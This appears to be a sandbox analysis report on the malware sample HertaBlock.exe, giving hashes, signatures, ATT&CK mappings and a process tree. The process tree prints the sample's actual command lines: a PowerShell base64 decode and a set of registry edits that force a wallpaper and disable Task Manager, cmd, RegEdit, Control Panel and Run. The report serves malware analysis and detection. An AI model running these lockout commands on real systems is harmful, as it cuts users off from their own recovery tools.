f169c98edc64ec4beaf53042b324051cdbaddfc15eb49243c545cf8dd3c77b6d

Analysis

max time kernel
148s
max time network
152s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
17/05/2026, 13:21

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
HertaBlock.exe
Size 961KB
Sample260517-ql23fagy2y
SHA256 f169c98edc64ec4beaf53042b324051cdbaddfc15eb49243c545cf8dd3c77b6d
MD5 88d71e37e9cbdf44406844030b7e05aa
SHA1 8e09a361be433ef2fab3bd50d9a51c524ef496e9
SHA512 1e8da3f4ab3a187a8024fad5d62114afbd83bb1d930dc1580ff1fc7a04d6ed5494b0336cb21230a80d3ca98170a63b2e0dc7aba41970f0f3c8aa0d5d9de16c64
SSDEEP 24576:Om5tIqTPjb7Ww3CcguG6pBqeQ+vabxJnTFo1n+9TM+QnxhosX:Om5tIejWw3zgpFdLGIQ+wV
TLSH
T1762533941C3934A9C5B0F576D4CF0A18AC2D0426EBCEE63B0C7504F61E1E7E6A19AB7D
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion execution ransomware upx

Malware Config

Signatures

Disables RegEdit via registry modification 1 IoCs

defense_evasion

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-125073035-2952146151-721812867-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	reg.exe

Disables Task Manager via registry modification
defense_evasion

Disables cmd.exe use via registry modification 1 IoCs

defense_evasion

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-125073035-2952146151-721812867-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableCMD = "2"	reg.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1288	powershell.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-125073035-2952146151-721812867-1000\Control Panel\Desktop\Wallpaper = "C:\\Windows\\Web\\Wallpaper\\secure_wallpaper.jpg"	reg.exe

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/4812-0-0x0000000140000000-0x0000000140109000-memory.dmp	upx
behavioral1/memory/4812-21-0x0000000140000000-0x0000000140109000-memory.dmp	upx

Drops file in Windows directory 2 IoCs

description	ioc	Process
File created	C:\Windows\Web\Wallpaper\secure_wallpaper.jpg	cmd.exe
File opened for modification	C:\Windows\Web\Wallpaper\secure_wallpaper.jpg	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1288	powershell.exe
1288	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1288	powershell.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 4812 wrote to memory of 1168	4812	HertaBlock.exe	80
PID 1168 wrote to memory of 1288	1168	cmd.exe	82
PID 1168 wrote to memory of 844	1168	cmd.exe	83
PID 1168 wrote to memory of 3156	1168	cmd.exe	84
PID 1168 wrote to memory of 1656	1168	cmd.exe	85
PID 1168 wrote to memory of 3256	1168	cmd.exe	86
PID 1168 wrote to memory of 3536	1168	cmd.exe	87
PID 1168 wrote to memory of 3616	1168	cmd.exe	88
PID 1168 wrote to memory of 3260	1168	cmd.exe	89
PID 1168 wrote to memory of 4500	1168	cmd.exe	90
PID 1168 wrote to memory of 4984	1168	cmd.exe	91
PID 1168 wrote to memory of 3832	1168	cmd.exe	92
PID 1168 wrote to memory of 2412	1168	cmd.exe	93
PID 1168 wrote to memory of 1732	1168	cmd.exe	94

C:\Users\Admin\AppData\Local\Temp\HertaBlock.exe
"C:\Users\Admin\AppData\Local\Temp\HertaBlock.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4812
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\64FE.tmp\64FF.tmp\6500.bat C:\Users\Admin\AppData\Local\Temp\HertaBlock.exe"
  2⤵
  - Drops file in Windows directory
  - Suspicious use of WriteProcessMemory
  PID:1168
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -command "$b64 = Get-Content -Raw 'C:\Users\Admin\AppData\Local\Temp\txt.txt'; [IO.File]::WriteAllBytes('C:\Users\Admin\AppData\Local\Temp\wallpaper.jpg',[Convert]::FromBase64String($b64))"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1288
- - C:\Windows\system32\reg.exe
    reg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Windows\Web\Wallpaper\secure_wallpaper.jpg" /f
    3⤵
    - Sets desktop wallpaper using registry
    PID:844
- - C:\Windows\system32\reg.exe
    reg add "HKCU\Control Panel\Desktop" /v WallpaperStyle /t REG_SZ /d 2 /f
    3⤵
    PID:3156
- - C:\Windows\system32\reg.exe
    reg add "HKCU\Control Panel\Desktop" /v TileWallpaper /t REG_SZ /d 0 /f
    3⤵
    PID:1656
- - C:\Windows\system32\reg.exe
    reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v Wallpaper /t REG_SZ /d "C:\Windows\Web\Wallpaper\secure_wallpaper.jpg" /f
    3⤵
    PID:3256
- - C:\Windows\system32\reg.exe
    reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v WallpaperStyle /t REG_SZ /d 2 /f
    3⤵
    PID:3536
- - C:\Windows\system32\reg.exe
    reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\ActiveDesktop" /v NoChangingWallPaper /t REG_DWORD /d 1 /f
    3⤵
    PID:3616
- - C:\Windows\system32\reg.exe
    reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
    3⤵
    PID:3260
- - C:\Windows\system32\reg.exe
    reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableCMD /t REG_DWORD /d 2 /f
    3⤵
    - Disables cmd.exe use via registry modification
    PID:4500
- - C:\Windows\system32\reg.exe
    reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
    3⤵
    - Disables RegEdit via registry modification
    PID:4984
- - C:\Windows\system32\reg.exe
    reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoControlPanel /t REG_DWORD /d 1 /f
    3⤵
    PID:3832
- - C:\Windows\system32\reg.exe
    reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoRun /t REG_DWORD /d 1 /f
    3⤵
    PID:2412
- - C:\Windows\system32\rundll32.exe
    RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters
    3⤵
    PID:1732

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Defacement

T1491

Replay Monitor

Loading Replay Monitor...

Downloads

6500.bat

Path C:\Users\Admin\AppData\Local\Temp\64FE.tmp\64FF.tmp\6500.bat
Size 2KB
SHA256 d1f9949e31f0043280283c4af66bd4b52949f0b83ef257b194ed331dc628e004
MD5 255b7da0deeccaa75324d3e626da6eef
SHA1 832b8ce366f2d082a4ff9ef6202cb50fa978813c
SHA512 43f0f901b9ad7b919dbc143d5e8fcfd415a98405f8e2f45255c98326b384cdd4dd1800b5153f76e54bddb56ef2eaec2a71803c3a3bc085d969f4d70e4243b7f9
TLSH
T17D4121E178410133CD606738B90B4D43EB7AA7CBB6116BCB35C8A097083E399CA742CB
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_waawl1ya.2ui.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_waawl1ya.2ui.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

txt.txt

Path C:\Users\Admin\AppData\Local\Temp\txt.txt
Size 1.8MB
SHA256 6e34b9c88dffcaee0073a338def400f3580dc9fdd7b0965b10f26e0096bbac4e
MD5 e5c4a9c251ebf4f4d26fb4fb9ba8d732
SHA1 f0a95130ef478e443d62e3346db12d7f0cfcd733
SHA512 a7968dbddde08b9318881ae0454bc41cb40cc29592324428108e7d7ecb053ec3bde90423c79c1c0ba5abcd54d828436bf03e11c2914d1ee97e6c9d0440b0e067
SSDEEP 24576:mjcgZnwIUIjh2z1WKQtf7BiSRQr7elFpCGkW:qm0h4WKKoDVo
TLSH
T10D951A2839FB90197273FE966FD874ABDA5FF7333607A4692091034A4723A81DD8153E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

wallpaper.jpg

Path C:\Users\Admin\AppData\Local\Temp\wallpaper.jpg
Size 702KB
SHA256 6e877c209ed0710751ff97b975ff9ddef9437d8859a75d3faf65b24fa7841226
MD5 7275a86c5e349f4a82c514835c5ef1be
SHA1 47590618621699f43e778f96f095def37b0e9fa2
SHA512 53ad974bb213296cc2a36a4edc32e48441ed3ebf359bf421e27c8f8ecbd73eb2b0dabb5c161571d37172f9257b0339ceb1eaaecd3cedf8c7b01a235b220a0b3c
SSDEEP 12288:N8j6U0BwJBhnh/scZE/PbBANiNnGBdkMpHymdEnI1Z8HzPlrift9r/:2j6VBwJBph/scC/P9xadkCinHLYV9r
TLSH
T116E423713B88CCD9FEC5A76F33811DE5A9930C0FFA9607384270249FCE2965A544E68E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/1288-5-0x00000234315C0000-0x00000234315D0000-memory.dmp

Download

memory/1288-6-0x0000023431580000-0x00000234315A2000-memory.dmp

Download

memory/1288-13-0x00000234315C0000-0x00000234315D0000-memory.dmp

Download

memory/4812-0-0x0000000140000000-0x0000000140109000-memory.dmp

Download

memory/4812-21-0x0000000140000000-0x0000000140109000-memory.dmp

Download